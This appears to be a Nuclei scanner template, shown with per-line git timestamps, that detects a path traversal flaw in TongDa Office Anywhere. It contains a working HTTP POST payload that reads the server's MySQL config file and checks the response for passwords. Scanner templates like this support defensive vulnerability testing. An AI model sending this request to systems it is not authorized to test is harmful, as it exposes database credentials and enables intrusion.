2022-06-08 08:01:29 +00:00
|
|
|
id: tongda-path-traversal
|
2021-02-14 12:22:51 +00:00
|
|
|
|
|
|
|
info:
|
2022-05-30 17:13:35 +00:00
|
|
|
name: Office Anywhere TongDa - Path Traversal
|
2021-02-14 12:22:51 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-05-31 09:21:16 +00:00
|
|
|
description: |
|
|
|
|
Office Anywhere (OA) is susceptible to path traversal vulnerabilities which can be leveraged to perform remote code execution.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/jas502n/OA-tongda-RCE
|
2022-05-30 14:36:06 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2021-02-14 12:22:51 +00:00
|
|
|
tags: tongda,lfi
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2021-02-14 12:22:51 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-02-14 12:22:51 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /ispirit/interface/gateway.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
json={"url":"/general/../../mysql5/my.ini"}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-05-31 09:21:16 +00:00
|
|
|
|
2021-02-14 12:22:51 +00:00
|
|
|
- type: word
|
2022-05-31 09:21:16 +00:00
|
|
|
part: body
|
2021-02-14 12:22:51 +00:00
|
|
|
words:
|
|
|
|
- "[mysql]"
|
|
|
|
- "password="
|
|
|
|
condition: and
|
2022-05-31 09:21:16 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
2021-02-14 12:22:51 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|